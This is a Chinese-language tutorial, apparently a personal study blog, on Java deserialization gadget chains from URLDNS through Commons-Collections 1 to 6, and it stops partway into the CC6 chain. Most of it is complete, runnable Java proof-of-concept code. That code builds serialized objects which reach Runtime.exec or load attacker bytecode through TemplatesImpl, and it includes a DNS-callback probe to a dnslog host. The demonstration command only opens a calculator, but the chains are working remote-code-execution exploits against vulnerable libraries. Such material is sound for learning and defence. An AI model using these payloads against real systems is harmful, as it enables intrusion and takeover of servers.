Java反序列化从URLDNS到CommonsCollections1-7
Java反序列化学习--从URLDNS到CommonsCollections1-7
前言
前段时间陆续接触了一些java题,也了解了一些java反射的知识。但是一入java深似海,拿到一个题基本毫无头猪。昨天看了看nama大学霸在车联网安全赛上出的ezcc,预期解是把cc链和cb链给拼一拼。然而缺少基础的我基本对着wp发呆。是时候开坑系统学学Java反序列化了。
一些准备
- Java反射知识
Java 反射机制可以可以无视类方法、变量去访问权限修饰符(如:protected、private 等),并且可以调用任意类的任何方法、访问并修改成员变量值。
也就是说,在利用gadgets的时候,我们可能会需要控制对象的具有访问权限的属性/方法,这些正常情况这是不能在外部设置的。但是利用反射可以强行更改这些东西。
URLDNS
这应该是所有脚本小子()的入坑必备了,虽然简单,但是五脏俱全,最基本原理都用到了,而且之后的链子基本都是这个流程。
POC
package learn;
import java.lang.reflect.*;
import java.net.URL;
import java.util.HashMap;
import tools.SerAndDe;
public class URLDNS extends SerAndDe {
// * Gadget Chain:
// * HashMap.readObject()
// * HashMap.putVal()
// * HashMap.hash()
// * URL.hashCode()
// URLStreamHandler.hashCode()
// getHostAddress()
public static void main(String[] args) throws Exception{
HashMap hm=new HashMap();
URL u=new URL("http://o2mcbd.dnslog.cn");
hm.put(u,1);
Field urlHashCodeField=u.getClass().getDeclaredField("hashCode");
urlHashCodeField.setAccessible(true);//使得field可以访问
urlHashCodeField.set(u,-1);
deserialize(serialize(hm));
}
}
注:SerAndDe.java是用来序列化和反序列化的,里面写了两个方法serialize,deserialize。具体怎么写网上搜搜即可。
分析
下面开始分析。先来看看ysoserial上的调用链
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
具体调用就idea里面ctrl左键点进去看看就行了。
一个正常的想法是这样的
HashMap hm=new HashMap();
URL u=new URL("http://o2mcbd.dnslog.cn");
hm.put(u,1);
但是这是打不通的。这时候就需要动调了。
会发现在URL.hashCode处有一个if,跟进发现这是个私有变量,默认值为-1
private int hashCode = -1;
也就是说hashcode被改过了,这时候就需要反射来设置hashCode为-1了
HashMap hm=new HashMap();
URL u=new URL("http://o2mcbd.dnslog.cn");
Field urlHashCodeField=u.getClass().getDeclaredField("hashCode");
urlHashCodeField.setAccessible(true);//使得field可以访问
urlHashCodeField.set(u,-1);
hm.put(u,1);
deserialize(serialize(hm));
但会发现hashCode仍然不是-1。这是应为hm.put会改变hashCode的值。所以我们把这行代码放前面,就得到了上面的POC。
最后注意一点,在运行此POC的时候会发起2次查询。如果想把它变成仅在反序列化的时候查询,可以去看看ysoserial的源码,这里就不赘述了。
commonsCollections1
碎碎念
历史
apache commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。
废话
其实我这是第二次看这条链子了。。上周第一次看的时候简直看出心理阴影。。现在基础牢固了再看一遍可能会好一点。
一些铺垫
利用版本限制
commons-collections3.1-3.2.1
jdk1.7.1以下
我用的版本:
jdk8u66
Maven包
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
反射调用Runtime.exec的原理
正常写是这样
java.lang.Runtime.getRuntime().exec("calc");
首先为啥不写成java.lang.Runtime.exec("calc");
呢,这是因为exec不是一个static方法,在java里必须通过实例化调用。
你可能又想问了,那为啥不写成
Runtime x=new Runtime();
x.exec("calc");
呢?这又是因为,Runtime的constructor是private的,不能直接new出来。但是可以通过getRuntime new一个出来。
理解了这些,就可以看看反射又是咋回事了:
Class runtimeClass=Class.forName("java.lang.Runtime");
Object runtimeInstance=runtimeClass.getMethod("getRuntime").invoke(null);
Method execMethod=runtimeClass.getMethod("exec",String.class);
execMethod.invoke(runtimeInstance,"calc");
一行一行分析吧。
Class runtimeClass=Class.forName("java.lang.Runtime");
这就是获取了java.lang.Runtime这个类
Object runtimeInstance=runtimeClass.getMethod("getRuntime").invoke(null);
这行就比较难理解了。首先getMethod("getRuntime")获取到runtimeClass的getRuntime这个方法,后者会返回一个Method。接下来invoke反射执行这个方法。invoke方法的原型是,
public Object invoke(Object obj, Object... args)
obj是实例,args是参数。由于getRuntime是一个static方法,实例就可以免去了(这些都是java的特性),所以我写了null。
Method execMethod=runtimeClass.getMethod("exec",String.class);
这是在获取exec这个方法。getMethod的第二个参数是Class<?>... parameterTypes
,大概可以猜到是因为锁定了参数类型,就更利于寻找了吧?不太懂java的底层代码。
最后execMethod.invoke(runtimeInstance,"calc");
弹计算器。
构造Transformer执行任意代码
Transformer
org.apache.commons.collections.Transformer是一个接口,提供了一个transform()方法,用来定义具体的转换逻辑,方法接收Object类型的input,处理后将Object返回,在Commons-Collection中,程序提供了多个Transformer的实现类,用来实现不同的TransformedMap类中key、value进行修改的功能。
public interface Transformer {
Object transform(Object var1);
}
InvokerTransformer
这是一个实现类,在Commons-Collections 3.0引入,利用反射来创建一个新的对象。看看他的构造器和transform方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
可以发现,其功能就是把一个实例传进去,然后通过反射执行这一个实例的某一个方法。下面我们试一下用它来完成Runtime.exec()的执行。
Class runtimeClass=Class.forName("java.lang.Runtime");
Object runtimeInstance=runtimeClass.getMethod("getRuntime").invoke(null);
InvokerTransformer it=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
it.transform(runtimeInstance);
这个其实就和我们上面的反射差不多,但有一个地方是坑点,这个下面会说到。
当然,开发者不会睿智到给我们提供一个runtimeInstance用,所以下面探索如果我们只能控制一个Transformer,怎么通过Transformer.transform(null)方法执行任意代码。
ChainedTransformer和ConstantTransformer
首先我们需要用到ChainedTransformer把我们构造的很多Transformer连起来。来看看ChainedTransformer的transform方法:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
可以发现,这就是让上一个Transformer的transform结果作为下一个Transformer的transform的输入(有点绕哈)
另外,因为chain的起点不可能提供一个Transformer,我们需要ConstantTransformer作为起点,看看他的transform和构造器
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
也就是把构造器里的参数直接return了,和input没啥关系。这个可以作为我们的起点。
我们来试一试:
ConstantTransformer ct=new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer it=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it};
ChainedTransformer chain=new ChainedTransformer(a);
chain.transform(null);
二次反射绕过Serializable限制
然后前面就是个人认为CommonsCollections1最绕的地方了
但是,如果你把上面的chain序列化的话,是会报错的
看看报错信息就知道,Runtime类的定义没有继承Serializable类,是不支持反序列化的。
但是,既然我们可以通过ChainedTransformer执行任意代码,那么我们自然可以执行一些反射方法,来得到Runtime类。
也就是要执行Runtime.class.getMethod("getRuntime")
但是我们再仔细观察一遍InvokerTransformer的transform方法
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
如果我们把Runtime.class直接当作input的话,cls将会是java.lang.class这一个类!
也就是说,第二行getMethod方法没法获取到getRuntime
那有没有办法呢?答案是二次反射。我们利用第二行代码getMethod调用另一个getMethod出来,然后在第三行调用原来cls的invoke。然后,再弄一个InvokerTransformer调用invoke方法把getMethod("getRuntime")搞出来。
换句话说,利用反射调一个getMethod("getRuntime")方法,再利用反射调一个invoke方法
等价的代码如下:
Class runtimeClass=Class.forName("java.lang.Runtime");
Class clazz1=runtimeClass.getClass();
Method m1=clazz1.getMethod("getMethod", new Class[]{String.class, Class[].class});
Object o1=m1.invoke(runtimeClass,new Object[]{"getRuntime",new Class[0]});
Class clazz2=o1.getClass();
Method m2=clazz2.getMethod("invoke",new Class[]{Object.class,Object[].class});
Object o2=m2.invoke(o1,new Object[]{"getRuntime",new Class[0]});
这里相当地绕,晕的话多动调看看。
还有一个特别绕的地方就是上面的类似new Class[]{String.class, Class[].class}
的写法。这个也困惑了我好久。这里简单解释一下下面这一行
Method m1=clazz1.getMethod("getMethod", new Class[]{String.class, Class[].class});
仔细观察一下getMethod的原型
public Method getMethod(String name, Class<?>... parameterTypes)
第一个参数是方法名,第二个参数是parameterTypes。第二个参数的<?>
叫做泛型,这里并不重要。然后...
是varags,是用来吸收多个参数的。varags的其中一种写法,就是写成数组,也就是new Class[]{}
的形式。由于我们是用getMethod调一个getMethod,所以就得写成数组形式。而new Class[]{}的type可以写成Class[].class,因为java里万物皆对象。
总之,想通这两点就可以构造出一个可序列化的ChainedTransformer了。
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
chain.transform(null);
deserialize(serialize(chain));
接下来,就是建立从readObject到transform的调用链。这里会有两种玩法
玩法一:TransformedMap.decorate
观察一下TransformedMap这个类,会发现它可以通过decorate玩法把chain挂载到另一个map上,当map调put会触发chain的transform。相关代码如下
于是我们这样写
Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,null,chain);
然后,接下来寻找readObject和put的联系。
这个类就是sun.reflect.annotation.AnnotationInvocationHandler
(这里我导入了jdk8u66的源码,因为class反编译出现了bug。具体怎么导可能以后再写文章吧,也挺麻烦的其实)
其中memberValue是AnnotationInvocationHandler构造器里边的参数。
由于AnnotationInvocationHandler是个内部类,外边还调用不了,这里又要反射创建一个实例。
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
c.setAccessible(true);
Object o=c.newInstance(Target.class,outerMap);
Target.class是因为第一个参数规定了泛型,必须是Annotation的实现。对着Annotation接口ctrl+alt+b即可搜索实现。
这时如果直接反序列化o会发现没反应,debug看看
innerMap是空的,进不了if。加一句
innerMap.put("","");
发现还是不行,继续debug
让innerMap的key变成"value"就行了。放下这一部分的完整POC
static void transformedMap(ChainedTransformer chain) throws Exception{
Map innerMap=new HashMap();
innerMap.put("value","");
Map outerMap=TransformedMap.decorate(innerMap,null,chain);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
c.setAccessible(true);
Object o=c.newInstance(Target.class,outerMap);
deserialize(serialize(o));
}
玩法二:AnnotationInvocationHandler动态代理
这也是ysoserial选择的方法,由于AnnotationInvocationHandler implements InvocationHandler,就出现了动态代理的打法。具体动态代理是啥网上资料很多,这里就不赘述了。调用链如下
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
首先lazyMap的get方法会调用其decorated trasformer的transform,让我们只需触发get。
这是从后往前,现在从前往后看看。在AnnotationInvocationHandler的readObject方法中有这么一行
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
调用了可控memberValues的entrySet()。如果我们通过另一个AnnotationInvocationHandler对象A动态代理对象B,那么就会调用对象A的invoke方法。
观察AnnotationInvocationHandler.invoke()
发现了get方法!我们再让B为lazymap,不就能执行lazyMap.get了嘛。
于是仿照网上的动态代理代码,写出下面的POC
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
c.setAccessible(true);
Object handler1=c.newInstance(Target.class,new HashMap<>());
//创建一个实例对象,这个对象是被代理的对象
Map zhangsan=LazyMap.decorate(new HashMap(),chain);
//创建一个与代理对象相关联的InvocationHandler
InvocationHandler stuHandler = (InvocationHandler) c.newInstance(Target.class,zhangsan);
//创建一个代理对象stuProxy来代理zhangsan,代理对象的每个执行方法都会替换执行Invocation中的invoke方法
Map stuProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, stuHandler);
//代理执行上交班费的方法
// stuProxy.giveMoney();
Object o=c.newInstance(Target.class,stuProxy);
byte[] b=serialize(o);
deserialize(b);
两种方法完整POC
package learn;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import tools.SerAndDe;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
public class CommonsCollections1 extends SerAndDe {
public static void main(String[] args) throws Exception{
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
// transformedMap(chain);
invocation(chain);
}
static void transformedMap(ChainedTransformer chain) throws Exception{
Map innerMap=new HashMap();
innerMap.put("value","");
Map outerMap=TransformedMap.decorate(innerMap,null,chain);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
c.setAccessible(true);
Object o=c.newInstance(Target.class,outerMap);
deserialize(serialize(o));
}
static void invocation(ChainedTransformer chain) throws Exception{
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
*/
//反射获取AnnotationInvocationHandler的class和constructor
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
c.setAccessible(true);
Object handler1=c.newInstance(Target.class,new HashMap<>());
//创建一个实例对象,这个对象是被代理的对象
Map zhangsan=LazyMap.decorate(new HashMap(),chain);
//创建一个与代理对象相关联的InvocationHandler
InvocationHandler stuHandler = (InvocationHandler) c.newInstance(Target.class,zhangsan);
//创建一个代理对象stuProxy来代理zhangsan,代理对象的每个执行方法都会替换执行Invocation中的invoke方法
Map stuProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, stuHandler);
//代理执行上交班费的方法
// stuProxy.giveMoney();
Object o=c.newInstance(Target.class,stuProxy);
byte[] b=serialize(o);
deserialize(b);
}
}
小结和感想
还有6个链,吐了
CommonsCollections2
前言
在JDK1.8 8u71版本以后,对AnnotationInvocationHandler的readobject进行了改写。导致高版本中利用链无法使用。
于是就用了PriorityQueue来调commons.collections4.TransformingComparator.compare()从而调InvokerTransformer.transform()
其中,TransformingComparator只有在commons.collections4中有Serializable,3.1-3.2.1是没有的。
另外,使用了transform也就能拼上commons collections1最后的chain了。但是ysoserial用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来运行时加载字节码,从而RCE。接下来两种方法都来复现一下。
版本和maven依赖
jdk没有版本限制
commons.collections4
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
javassist是帮助我们写字节码的,这个被攻击环境不需要
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
transform前的调用链
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
ChainedTransformer.transform()
ChainedTransformer之后就和commons collections1一样了。来看看前面的:
ChainedTransformer chain=getChainedTransformer();
TransformingComparator comparator=new TransformingComparator(chain);
PriorityQueue queue=new PriorityQueue(comparator);
queue.add(1);
queue.add(2);
deserialize(serialize(queue));
PriorityQueue
PriorityQueue优先级队列是基于优先级堆的一种特殊队列,它给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取,默认情况下,优先级队列会根据自然顺序对元素进行排序;因此放入PriorityQueue的元素必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级,如果没有实现Comparable接口,PriorityQueue还允许提供一个Comparator对象来判断两个元素的顺序,PriorityQueue支持反序列化,在重写的readObject方法中将数据反序列化到queue中之后,会调用heapify()方法来对数据进行排序。
heapify又会调用siftDown
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
queue就是PriorityQueue存储元素的属性。
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
如果进到siftDownUsingComparator就能调用comparator.compare()了。这里comparator就是我们可以给queue设置的Comparable接口实现对象。
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
再看看org.apache.commons.collections4.comparators.TransformingComparator.compare()
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
obj2就是传进去的元素(看泛型就懂了),于是就调用了熟悉的transformer.transform
方法1:ChainedTransformer
故技重施,直接让Transformer为commons colletions1里的ChainedTransformer就ok。POC如下(一些小细节写在注释里了,这些动调都能清楚为啥这样写)
方法2:templatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()会实例化一个自定义的类。其中,这一个类是TemplatesImpl的一个属性(字节码形式)
我们不是可以执行任意方法了吗,构造一个恶意类的字节码让他实例化就行了。具体每一步在干什么写在POC的注释里面了。
POC
然后就是动调+修修补补,一些小细节都写在注释里了
package learn;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;
public class CommonsCollections2 extends tools.SerAndDe{
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
public static void main(String[] args) throws Exception{
// poc1();
poc2();
}
static void poc1() throws Exception{
ChainedTransformer chain=getChainedTransformer();
TransformingComparator comparator=new TransformingComparator(chain);
PriorityQueue queue=new PriorityQueue();
//debug发现size>=2才行
queue.add(1);
queue.add(2);
//comparator直接构造器设置的话,add的时候会类型错误。所以反射设置
Class clazz=queue.getClass();
Field comparatorField=clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
deserialize(serialize(queue));
}
static void poc2() throws Exception{
//制作父类为AbstractTranslet的RCE类的字节码bytes
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath("AbstractTranslet");//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet.class.getName())); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();//转换为byte数组
//制作templatesImpl
Object templatesImpl=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
//制作transformer
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//接下来只需调用transformer.transform(templatesImpl)
// transformer.transform()
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue();
//让size=2
queue.add(3);
queue.add(4);
// 反射,强行往queue塞templatesImpl
Class queueClass=queue.getClass();
Field queueField=queueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templatesImpl,1});
//反射强写comparator
Class clazz=queue.getClass();
Field comparatorField=clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
byte[] b=serialize(queue);
deserialize(b);
}
static ChainedTransformer getChainedTransformer(){
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
return chain;
}
}
commonsCollections3
前言
commonsCollections3其实是commonsCollections1和commonsCollections2的组合加上了一点小东西。他的主要目的是绕过InvokerTransformer。
反序列化链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
new TrAXFilter(templatesImpl)
templatesImpl.newTransformer()
版本
由于readObject是commonsCollections1的复用,和后者完全一样。
jdk<JDK8u71,commons-collections3.1-3.2.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
新加的东西
TrAXFilter
可以看到构造器里边可以调用commonsCollections2里用到的templatesImpl.newTransformer(),从而运行任意构造好的class
InstantiateTransformer
transform方法可以调用任意类的构造器方法。于是乎就把链连起来了。
POC
commonscolletions2的templatesImpl似乎在这里有点问题emm,网上搜搜换了一个
package learn;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 extends tools.SerAndDe{
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
new TrAXFilter(templatesImpl)
templatesImpl.newTransformer()
*/
public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl=getTemplates();
//接下来只需templatesImpl.newTransformer()
//制作chain
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chain=new ChainedTransformer(transformers);
//把commonscollections1的东西拼上
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c=clazz.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
Object handler1=c.newInstance(Target.class,new HashMap<>());
Map zhangsan= LazyMap.decorate(new HashMap(),chain);
InvocationHandler stuHandler = (InvocationHandler) c.newInstance(Target.class,zhangsan);
Map stuProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, stuHandler);
Object o=c.newInstance(Target.class,stuProxy);
byte[] b=serialize(o);
deserialize(b);
}
static TemplatesImpl getTemplates() throws Exception{
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.makeClass("Evil");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetByteCode = new byte[][]{shellCode};
TemplatesImpl templates = new TemplatesImpl();
Class c1 = templates.getClass();
Field _name = c1.getDeclaredField("_name");
Field _bytecode = c1.getDeclaredField("_bytecodes");
Field _tfactory = c1.getDeclaredField("_tfactory");
_name.setAccessible(true);
_bytecode.setAccessible(true);
_tfactory.setAccessible(true);
_name.set(templates, "h3rmesk1t");
_bytecode.set(templates, targetByteCode);
_tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
CommonsCollections4
CommonsCollections4 is a variation on CommonsCollections2 that uses InstantiateTransformer instead of InvokerTransformer.So we just skip it.
CommonsCollections5
调用栈
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
版本
JDK<8u76
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
BadAttributeValueExpException.readObject()有一个条件必须满足
package learn;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections5 extends tools.tool{
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
public static void main(String[] args) throws Exception{
ChainedTransformer chain=getChainedTransformer();
Map lazymap=LazyMap.decorate(new HashMap(),chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
BadAttributeValueExpException e=new BadAttributeValueExpException(null);
setFieldValue(e,"val",tiedMapEntry);
deserialize(serialize(e));
}
static ChainedTransformer getChainedTransformer(){
ConstantTransformer ct=new ConstantTransformer(Runtime.class);
InvokerTransformer it1=new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
return chain;
}
}
CommonsCollections6
版本
jdk没有版本限制
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
chain
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
